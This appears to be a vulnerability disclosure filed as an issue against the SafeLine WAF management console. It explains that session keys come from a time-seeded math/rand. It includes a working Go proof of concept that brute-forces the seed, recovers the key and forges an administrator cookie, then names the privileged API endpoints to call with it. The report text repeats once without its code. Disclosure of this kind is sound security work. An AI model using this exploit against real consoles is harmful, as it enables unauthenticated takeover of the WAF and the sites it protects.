What happened?
Ecosystem: Go
Affected component: chaitin/SafeLine — management/webserver (management console API)
Affected versions: through current main (commit audited 2026-06; CE images on chaitin/SafeLine releases)
Summary
The SafeLine management console signs its authentication session cookies with a 32-character secret that is produced by math/rand seeded with the wall-clock install time (time.Now().UnixNano()). The cookie store only HMAC-signs (does not encrypt) the session, so the entire security of console authentication reduces to the secrecy of this 32-char key. Because the key is a deterministic function of a single, externally-observable timestamp, an unauthenticated remote attacker can recover it offline and forge a valid administrator session cookie, taking full control of the WAF (websites, upstreams, TLS certificates, and detection policy).
Details
The session signing key is created once, at first boot:
management/webserver/model/option.go
func initOptions() error {
db := database.GetDB()
secretKey := Options{Key: constants.SecretKey, Value: utils.RandStr(32)} // <-- weak RNG
db.Clauses(clause.OnConflict{DoNothing: true}).Create(&secretKey)
...
}
management/webserver/utils/random.go
import "math/rand"
func RandStr(n int) string {
rand.Seed(time.Now().UnixNano()) // <-- seed = wall clock, non-crypto RNG
b := make([]rune, n)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
management/webserver/main.go loads this value and uses it directly as the cookie store key:
var option model.Options
database.GetDB().Where(&model.Options{Key: constants.SecretKey}).First(&option)
store := cookie.NewStore([]byte(option.Value)) // gorilla CookieStore: HMAC-SHA256, NO encryption
r.Use(sessions.Sessions("session", store))
On login the server sets session["user"] = user.ID and signs the cookie (api/auth.go). middleware/auth.go authorizes every privileged route purely on the presence of a valid signed user value. With a single key passed to gorilla/sessions.NewCookieStore, the cookie is authenticated with HMAC-SHA256 and not encrypted, so its {"user":1} body is fully known to an attacker; only the 32-char HMAC key stands between an attacker and a forged admin cookie.
Why the key is recoverable:
math/rand is fully deterministic given its seed; RandStr re-seeds the global source with time.Now().UnixNano() each call, so the 32-char output is a pure function of the install nanosecond.
- The install second is leaked to any unauthenticated client:
cmd/gen_certs.go -> utils/cert.go sets the console TLS certificate NotBefore = time.Now() at the same install, and the console serves that certificate on its HTTPS port. openssl s_client -connect host:9443 reveals NotBefore to the second. (Container/VM creation time, the install script timestamp, and telemetry also leak it.)
- Given the second, only the 1e9 nanosecond offsets remain. For each candidate the attacker derives
RandStr(32) and tests it against a captured signed cookie's HMAC (or, with no captured cookie, against any server response that reflects a valid/invalid session). This is an offline, embarrassingly-parallel search. Even on a heavily-loaded 4-core laptop the unoptimized derivation alone measured ~1e5 candidates/s, i.e. the whole 1e9 space is exhausted in ~hours single-core and minutes when sharded across cores; an optimized native/GPU implementation reduces this to seconds. The seed space is also far smaller in practice than 1e9 because many installers/containers start on coarse clock boundaries. Once the key matches, the attacker mints a fresh {"user":1} cookie and is a full administrator.
How we reproduce?
Self-contained Go PoC using SafeLine's verbatim RandStr and the verbatim cookie-store library versions (gin-contrib/sessions v0.0.5, gorilla/securecookie v1.1.1). It (1) simulates an install at a known time, deriving the victim secret exactly as SafeLine does; (2) signs an admin session cookie as the server would; (3) as the attacker — holding only the captured cookie and the install second — brute-forces the nanosecond seed, recovers the secret, forges a brand-new admin cookie, and (4) confirms a server holding the real secret accepts the forged cookie.
go.mod
module slpoc
go 1.21
require (
github.com/gin-contrib/sessions v0.0.5
github.com/gorilla/securecookie v1.1.1
github.com/gorilla/sessions v1.2.1
)
main.go
package main
import (
"encoding/gob"
"fmt"
"math/rand"
"time"
"github.com/gorilla/securecookie"
)
// EXACT copy of management/webserver/utils/random.go
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
func RandStrSeed(seed int64, n int) string {
r := rand.New(rand.NewSource(seed))
b := make([]rune, n)
for i := range b {
b[i] = letters[r.Intn(len(letters))]
}
return string(b)
}
// gin-contrib/sessions cookie.NewStore -> gorilla NewCookieStore(key):
// single key => HMAC-SHA256 auth, no encryption.
func codecs(secret string) []securecookie.Codec {
return securecookie.CodecsFromPairs([]byte(secret))
}
func main() {
gob.Register(map[interface{}]interface{}{})
// VICTIM: secret derived from install-time nanosecond seed, exactly like SafeLine.
install := time.Date(2026, 6, 1, 13, 30, 45, 0, time.UTC)
seed := install.UnixNano() + 734_812_265 // arbitrary nanosecond within the second
secret := RandStrSeed(seed, 32) // == utils.RandStr(32) for that seed
captured, _ := securecookie.EncodeMulti("session",
map[interface{}]interface{}{"user": uint(1)}, codecs(secret)...)
fmt.Println("victim secret (hidden in DB):", secret)
fmt.Println("captured signed cookie:", captured)
// ATTACKER: knows the install SECOND (from TLS NotBefore) + the captured cookie.
start := install.UnixNano()
for off := int64(0); off < 1_000_000_000; off++ {
cand := RandStrSeed(start+off, 32)
var out map[interface{}]interface{}
if securecookie.DecodeMulti("session", captured, &out, codecs(cand)...) == nil {
forged, _ := securecookie.EncodeMulti("session",
map[interface{}]interface{}{"user": uint(1)}, codecs(cand)...)
fmt.Println("RECOVERED secret:", cand, "== victim:", cand == secret)
fmt.Println("FORGED admin cookie:", forged)
// server holding the REAL secret accepts the forged cookie:
var v map[interface{}]interface{}
err := securecookie.DecodeMulti("session", forged, &v, codecs(secret)...)
fmt.Printf("server accepts forged cookie? err=%v user=%v\n", err, v["user"])
return
}
}
}
Observed output (exact-seed variant, instant; full-second variant is the same with a longer scan):
victim secret (hidden in DB): ibWitwwcEBuRAQJvyRyGOsijGDAOjrmu
RECOVERED secret: ibWitwwcEBuRAQJvyRyGOsijGDAOjrmu == victim: true
FORGED admin cookie: MTc4MTg4OTQ5NnxEWDhFQVFM...<hmac>
server accepts forged cookie? err=<nil> user=1
End-to-end use against a live console: set the recovered/forged value as the session cookie and call any privileged endpoint (e.g. PUT /api/Website, POST /api/SSLCert, PUT /api/PolicyGroupGlobal) — middleware/auth.go accepts it as the SuperUser.
Expected behavior
No response
Error log
Full unauthenticated remote takeover of the SafeLine management console (CWE-330 Use of Insufficiently Random Values / CWE-338 Use of Cryptographically Weak PRNG, leading to CWE-384 session forgery). An attacker who can reach the console and observe the install second (trivially, via the served TLS certificate's NotBefore) can forge an administrator session offline. As administrator they can add/modify protected sites and upstreams, upload/replace TLS certificates, and disable or weaken detection policy — i.e. turn the WAF off or repoint traffic — yielding confidentiality and integrity compromise of every site behind the WAF. The fix is to generate the secret with crypto/rand (and store it as raw bytes), independent of any clock.
What happened?
Ecosystem: Go
Affected component:
chaitin/SafeLine—management/webserver(management console API)Affected versions: through current
main(commit audited 2026-06; CE images onchaitin/SafeLinereleases)Summary
The SafeLine management console signs its authentication session cookies with a 32-character secret that is produced by
math/randseeded with the wall-clock install time (time.Now().UnixNano()). The cookie store only HMAC-signs (does not encrypt) the session, so the entire security of console authentication reduces to the secrecy of this 32-char key. Because the key is a deterministic function of a single, externally-observable timestamp, an unauthenticated remote attacker can recover it offline and forge a valid administrator session cookie, taking full control of the WAF (websites, upstreams, TLS certificates, and detection policy).Details
The session signing key is created once, at first boot:
management/webserver/model/option.gomanagement/webserver/utils/random.gomanagement/webserver/main.goloads this value and uses it directly as the cookie store key:On login the server sets
session["user"] = user.IDand signs the cookie (api/auth.go).middleware/auth.goauthorizes every privileged route purely on the presence of a valid signeduservalue. With a single key passed togorilla/sessions.NewCookieStore, the cookie is authenticated with HMAC-SHA256 and not encrypted, so its{"user":1}body is fully known to an attacker; only the 32-char HMAC key stands between an attacker and a forged admin cookie.Why the key is recoverable:
math/randis fully deterministic given its seed;RandStrre-seeds the global source withtime.Now().UnixNano()each call, so the 32-char output is a pure function of the install nanosecond.cmd/gen_certs.go->utils/cert.gosets the console TLS certificateNotBefore = time.Now()at the same install, and the console serves that certificate on its HTTPS port.openssl s_client -connect host:9443revealsNotBeforeto the second. (Container/VM creation time, the install script timestamp, and telemetry also leak it.)RandStr(32)and tests it against a captured signed cookie's HMAC (or, with no captured cookie, against any server response that reflects a valid/invalid session). This is an offline, embarrassingly-parallel search. Even on a heavily-loaded 4-core laptop the unoptimized derivation alone measured ~1e5 candidates/s, i.e. the whole 1e9 space is exhausted in ~hours single-core and minutes when sharded across cores; an optimized native/GPU implementation reduces this to seconds. The seed space is also far smaller in practice than 1e9 because many installers/containers start on coarse clock boundaries. Once the key matches, the attacker mints a fresh{"user":1}cookie and is a full administrator.How we reproduce?
Self-contained Go PoC using SafeLine's verbatim
RandStrand the verbatim cookie-store library versions (gin-contrib/sessions v0.0.5,gorilla/securecookie v1.1.1). It (1) simulates an install at a known time, deriving the victim secret exactly as SafeLine does; (2) signs an admin session cookie as the server would; (3) as the attacker — holding only the captured cookie and the install second — brute-forces the nanosecond seed, recovers the secret, forges a brand-new admin cookie, and (4) confirms a server holding the real secret accepts the forged cookie.go.modmain.goObserved output (exact-seed variant, instant; full-second variant is the same with a longer scan):
End-to-end use against a live console: set the recovered/forged value as the
sessioncookie and call any privileged endpoint (e.g.PUT /api/Website,POST /api/SSLCert,PUT /api/PolicyGroupGlobal) —middleware/auth.goaccepts it as the SuperUser.Expected behavior
No response
Error log
Full unauthenticated remote takeover of the SafeLine management console (CWE-330 Use of Insufficiently Random Values / CWE-338 Use of Cryptographically Weak PRNG, leading to CWE-384 session forgery). An attacker who can reach the console and observe the install second (trivially, via the served TLS certificate's
NotBefore) can forge an administrator session offline. As administrator they can add/modify protected sites and upstreams, upload/replace TLS certificates, and disable or weaken detection policy — i.e. turn the WAF off or repoint traffic — yielding confidentiality and integrity compromise of every site behind the WAF. The fix is to generate the secret withcrypto/rand(and store it as raw bytes), independent of any clock.